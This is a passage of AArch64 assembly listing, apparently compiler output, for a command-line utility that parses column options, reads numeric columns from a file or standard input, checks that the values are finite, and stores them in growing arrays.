adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #128] ; 8-byte Folded Spill
stur wzr, [x29, #-100]
stur w0, [x29, #-104]
stur x1, [x29, #-112]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-120]
stur xzr, [x29, #-168]
str xzr, [sp, #312]
str xzr, [sp, #304]
str xzr, [sp, #296]
mov w8, #8
str w8, [sp, #292]
str xzr, [sp, #272]
str xzr, [sp, #264]
str xzr, [sp, #256]
str w8, [sp, #252]
str xzr, [sp, #232]
str xzr, [sp, #224]
str xzr, [sp, #208]
str xzr, [sp, #200]
str xzr, [sp, #192]
str xzr, [sp, #184]
str w8, [sp, #180]
str xzr, [sp, #168]
str wzr, [sp, #164]
mov x8, #1
str x8, [sp, #152]
mov x8, #2
str x8, [sp, #144]
ldr x8, [sp, #152]
add x8, x8, #1
str x8, [sp, #136]
ldr x8, [sp, #144]
add x8, x8, #1
str x8, [sp, #136]
ldur w8, [x29, #-104]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
str x1, [sp, #120] ; 8-byte Folded Spill
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
str x1, [sp, #112] ; 8-byte Folded Spill
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
ldr x1, [sp, #112] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x1, [sp, #120] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
str x8, [sp, #104] ; 8-byte Folded Spill
str x8, [x9]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #152]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #144]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #136]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr w9, [sp, #164]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl _fprintf
ldr x8, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x9]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x1, [sp, #120] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
ldr x8, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x9]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x1, [sp, #120] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.25@PAGE
add x1, x1, l_.str.25@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.26@PAGE
add x1, x1, l_.str.26@PAGEOFF
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
adrp x1, l_.str.27@PAGE
add x1, x1, l_.str.27@PAGEOFF
bl _fprintf
ldr x1, [sp, #112] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x1, [sp, #120] ; 8-byte Folded Reload
ldr x0, [x8]
bl _fprintf
mov w0, #0
bl _exit
LBB0_2:
ldur x8, [x29, #-112]
ldr x8, [x8, #8]
str x8, [sp, #168]
mov x8, #2
stur x8, [x29, #-128]
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-128]
ldursw x9, [x29, #-104]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_23
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x8, [x8, x9, lsl #3]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB0_21
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
ldursw x9, [x29, #-104]
subs x8, x8, x9
cset w8, lt
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x8, [x8, x9, lsl #3]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.28@PAGE
add x1, x1, l_.str.28@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
add x9, x9, #1
stur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
bl _atol
str x0, [sp, #152]
b LBB0_19
LBB0_9: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.30@PAGE
add x1, x1, l_.str.30@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
add x9, x9, #1
stur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
bl _atol
str x0, [sp, #144]
b LBB0_18
LBB0_11: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.31@PAGE
add x1, x1, l_.str.31@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
add x9, x9, #1
stur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
bl _atol
str x0, [sp, #136]
b LBB0_17
LBB0_13: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
adrp x1, l_.str.32@PAGE
add x1, x1, l_.str.32@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
add x9, x9, #1
stur x9, [x29, #-128]
ldr x0, [x8, x9, lsl #3]
bl _atoi
str w0, [sp, #164]
b LBB0_16
LBB0_15:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x8, [x29, #-112]
ldur x9, [x29, #-128]
ldr x8, [x8, x9, lsl #3]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.33@PAGE
add x1, x1, l_.str.33@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_16: ; in Loop: Header=BB0_3 Depth=1
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_3 Depth=1
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_3 Depth=1
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_3 Depth=1
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_3 Depth=1
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_3 Depth=1
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-128]
add x8, x8, #1
stur x8, [x29, #-128]
b LBB0_3
LBB0_23:
ldr x8, [sp, #152]
subs x8, x8, #1
cset w8, ge
tbnz w8, #0, LBB0_25
b LBB0_24
LBB0_24:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #152]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.34@PAGE
add x1, x1, l_.str.34@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_25:
ldr x8, [sp, #144]
subs x8, x8, #1
cset w8, ge
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #144]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.35@PAGE
add x1, x1, l_.str.35@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_27:
ldr x8, [sp, #136]
subs x8, x8, #1
cset w8, ge
tbnz w8, #0, LBB0_29
b LBB0_28
LBB0_28:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #136]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.36@PAGE
add x1, x1, l_.str.36@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_29:
ldr x8, [sp, #152]
subs x8, x8, #1
str x8, [sp, #152]
ldr x8, [sp, #144]
subs x8, x8, #1
str x8, [sp, #144]
ldr x8, [sp, #136]
subs x8, x8, #1
str x8, [sp, #136]
ldr x0, [sp, #168]
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_31
b LBB0_30
LBB0_30:
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #320]
b LBB0_34
LBB0_31:
ldr x0, [sp, #168]
adrp x1, l_.str.38@PAGE
add x1, x1, l_.str.38@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #320]
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_33
b LBB0_32
LBB0_32:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #168]
mov x9, sp
adrp x10, l_.str.9@PAGE
add x10, x10, l_.str.9@PAGEOFF
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.39@PAGE
add x1, x1, l_.str.39@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_33:
b LBB0_34
LBB0_34:
stur xzr, [x29, #-160]
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
stur d0, [x29, #-200]
str d0, [sp, #280]
str d0, [sp, #240]
b LBB0_35
LBB0_35: ; =>This Inner Loop Header: Depth=1
ldur x0, [x29, #-120]
ldr x2, [sp, #320]
sub x1, x29, #168
bl _xf_lineread1
mov x8, x0
stur x8, [x29, #-120]
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_92
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-168]
adds x8, x8, #1
cset w8, ne
tbnz w8, #0, LBB0_38
b LBB0_37
LBB0_37:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
str x8, [x9]
adrp x1, l_.str.40@PAGE
add x1, x1, l_.str.40@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_38: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-120]
ldrsb w8, [x8]
subs w8, w8, #35
cset w8, ne
tbnz w8, #0, LBB0_40
b LBB0_39
LBB0_39: ; in Loop: Header=BB0_35 Depth=1
b LBB0_35
LBB0_40: ; in Loop: Header=BB0_35 Depth=1
ldur x0, [x29, #-120]
adrp x1, l_.str.41@PAGE
add x1, x1, l_.str.41@PAGEOFF
add x2, sp, #232
bl _xf_lineparse2
str x0, [sp, #224]
ldr x8, [sp, #232]
subs x8, x8, #0
cset w8, ge
tbnz w8, #0, LBB0_42
b LBB0_41
LBB0_41:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
str x8, [x9]
adrp x1, l_.str.42@PAGE
add x1, x1, l_.str.42@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_42: ; in Loop: Header=BB0_35 Depth=1
ldr x8, [sp, #232]
ldr x9, [sp, #136]
subs x8, x8, x9
cset w8, lt
tbnz w8, #0, LBB0_45
b LBB0_43
LBB0_43: ; in Loop: Header=BB0_35 Depth=1
ldr x8, [sp, #232]
ldr x9, [sp, #152]
subs x8, x8, x9
cset w8, lt
tbnz w8, #0, LBB0_45
b LBB0_44
LBB0_44: ; in Loop: Header=BB0_35 Depth=1
ldr x8, [sp, #232]
ldr x9, [sp, #144]
subs x8, x8, x9
cset w8, ge
tbnz w8, #0, LBB0_46
b LBB0_45
LBB0_45: ; in Loop: Header=BB0_35 Depth=1
b LBB0_35
LBB0_46: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-120]
ldr x9, [sp, #224]
ldr x10, [sp, #152]
ldr x9, [x9, x10, lsl #3]
add x0, x8, x9
mov x9, sp
add x8, sp, #280
str x8, [x9]
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
bl _sscanf
subs w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_58
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_35 Depth=1
mov w8, #0
tbz w8, #0, LBB0_51
b LBB0_48
LBB0_48: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #280]
fcvt s0, d0
stur s0, [x29, #-84]
ldur s0, [x29, #-84]
ldur s1, [x29, #-84]
fcmp s0, s1
cset w8, ne
mov w9, #0
str w9, [sp, #100] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_50
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_35 Depth=1
ldur s0, [x29, #-84]
fabs s0, s0
mov w8, #2139095040
fmov s1, w8
fcmp s0, s1
cset w8, ne
str w8, [sp, #100] ; 4-byte Folded Spill
b LBB0_50
LBB0_50: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #100] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_51: ; in Loop: Header=BB0_35 Depth=1
mov w8, #1
tbz w8, #0, LBB0_55
b LBB0_52
LBB0_52: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #280]
stur d0, [x29, #-56]
ldur d0, [x29, #-56]
ldur d1, [x29, #-56]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #96] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_54
b LBB0_53
LBB0_53: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-56]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #96] ; 4-byte Folded Spill
b LBB0_54
LBB0_54: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #96] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_55: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #280]
stur d0, [x29, #-24]
ldur d0, [x29, #-24]
ldur d1, [x29, #-24]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #92] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_57
b LBB0_56
LBB0_56: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-24]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #92] ; 4-byte Folded Spill
b LBB0_57
LBB0_57: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #92] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_58: ; in Loop: Header=BB0_35 Depth=1
b LBB0_35
LBB0_59: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-120]
ldr x9, [sp, #224]
ldr x10, [sp, #144]
ldr x9, [x9, x10, lsl #3]
add x0, x8, x9
mov x9, sp
add x8, sp, #240
str x8, [x9]
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
bl _sscanf
subs w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_71
b LBB0_60
LBB0_60: ; in Loop: Header=BB0_35 Depth=1
mov w8, #0
tbz w8, #0, LBB0_64
b LBB0_61
LBB0_61: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #240]
fcvt s0, d0
stur s0, [x29, #-88]
ldur s0, [x29, #-88]
ldur s1, [x29, #-88]
fcmp s0, s1
cset w8, ne
mov w9, #0
str w9, [sp, #88] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_63
b LBB0_62
LBB0_62: ; in Loop: Header=BB0_35 Depth=1
ldur s0, [x29, #-88]
fabs s0, s0
mov w8, #2139095040
fmov s1, w8
fcmp s0, s1
cset w8, ne
str w8, [sp, #88] ; 4-byte Folded Spill
b LBB0_63
LBB0_63: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #88] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_72
b LBB0_71
LBB0_64: ; in Loop: Header=BB0_35 Depth=1
mov w8, #1
tbz w8, #0, LBB0_68
b LBB0_65
LBB0_65: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #240]
stur d0, [x29, #-64]
ldur d0, [x29, #-64]
ldur d1, [x29, #-64]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #84] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_67
b LBB0_66
LBB0_66: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-64]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #84] ; 4-byte Folded Spill
b LBB0_67
LBB0_67: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #84] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_72
b LBB0_71
LBB0_68: ; in Loop: Header=BB0_35 Depth=1
ldr d0, [sp, #240]
stur d0, [x29, #-32]
ldur d0, [x29, #-32]
ldur d1, [x29, #-32]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #80] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_70
b LBB0_69
LBB0_69: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-32]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #80] ; 4-byte Folded Spill
b LBB0_70
LBB0_70: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #80] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_72
b LBB0_71
LBB0_71: ; in Loop: Header=BB0_35 Depth=1
b LBB0_35
LBB0_72: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-120]
ldr x9, [sp, #224]
ldr x10, [sp, #136]
ldr x9, [x9, x10, lsl #3]
add x0, x8, x9
mov x9, sp
sub x8, x29, #200
str x8, [x9]
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
bl _sscanf
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_74
b LBB0_73
LBB0_73: ; in Loop: Header=BB0_35 Depth=1
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
stur d0, [x29, #-200]
b LBB0_87
LBB0_74: ; in Loop: Header=BB0_35 Depth=1
mov w8, #0
tbz w8, #0, LBB0_78
b LBB0_75
LBB0_75: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-200]
fcvt s0, d0
stur s0, [x29, #-92]
ldur s0, [x29, #-92]
ldur s1, [x29, #-92]
fcmp s0, s1
cset w8, ne
mov w9, #0
str w9, [sp, #76] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_77
b LBB0_76
LBB0_76: ; in Loop: Header=BB0_35 Depth=1
ldur s0, [x29, #-92]
fabs s0, s0
mov w8, #2139095040
fmov s1, w8
fcmp s0, s1
cset w8, ne
str w8, [sp, #76] ; 4-byte Folded Spill
b LBB0_77
LBB0_77: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #76] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_86
b LBB0_85
LBB0_78: ; in Loop: Header=BB0_35 Depth=1
mov w8, #1
tbz w8, #0, LBB0_82
b LBB0_79
LBB0_79: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-200]
stur d0, [x29, #-72]
ldur d0, [x29, #-72]
ldur d1, [x29, #-72]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #72] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_81
b LBB0_80
LBB0_80: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-72]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #72] ; 4-byte Folded Spill
b LBB0_81
LBB0_81: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #72] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_86
b LBB0_85
LBB0_82: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-200]
stur d0, [x29, #-40]
ldur d0, [x29, #-40]
ldur d1, [x29, #-40]
fcmp d0, d1
cset w8, ne
mov w9, #0
str w9, [sp, #68] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_84
b LBB0_83
LBB0_83: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-40]
fabs d0, d0
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fcmp d0, d1
cset w8, ne
str w8, [sp, #68] ; 4-byte Folded Spill
b LBB0_84
LBB0_84: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #68] ; 4-byte Folded Reload
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_86
b LBB0_85
LBB0_85: ; in Loop: Header=BB0_35 Depth=1
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
stur d0, [x29, #-200]
b LBB0_86
LBB0_86: ; in Loop: Header=BB0_35 Depth=1
b LBB0_87
LBB0_87: ; in Loop: Header=BB0_35 Depth=1
ldr x0, [sp, #192]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #180]
mul x1, x8, x9
bl _realloc
str x0, [sp, #192]
ldr x0, [sp, #312]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #292]
mul x1, x8, x9
bl _realloc
str x0, [sp, #312]
ldr x0, [sp, #272]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #252]
mul x1, x8, x9
bl _realloc
str x0, [sp, #272]
ldr x8, [sp, #192]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_90
b LBB0_88
LBB0_88: ; in Loop: Header=BB0_35 Depth=1
ldr x8, [sp, #312]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_90
b LBB0_89
LBB0_89: ; in Loop: Header=BB0_35 Depth=1
ldr x8, [sp, #272]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_91
b LBB0_90
LBB0_90:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
str x8, [x9]
adrp x1, l_.str.44@PAGE
add x1, x1, l_.str.44@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_91: ; in Loop: Header=BB0_35 Depth=1
ldur d0, [x29, #-200]
ldr x8, [sp, #192]
ldur x9, [x29, #-160]
str d0, [x8, x9, lsl #3]
ldr d0, [sp, #280]
ldr x8, [sp, #312]
ldur x9, [x29, #-160]
str d0, [x8, x9, lsl #3]
ldr d0, [sp, #240]
ldr x8, [sp, #272]
ldur x9, [x29, #-160]
str d0, [x8, x9, lsl #3]
ldur x8, [x29, #-160]
add x8, x8, #1
stur x8, [x29, #-160]
b LBB0_35
LBB0_92:
ldr x0, [sp, #168]
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_94
b LBB0_93
LBB0_93:
ldr x0, [sp, #320]
bl _fclose
b LBB0_94
LBB0_94:
ldr x0, [sp, #304]
ldur x8, [x29, #-160]
add x8, x8, #1
ldrsw x9, [sp, #292]
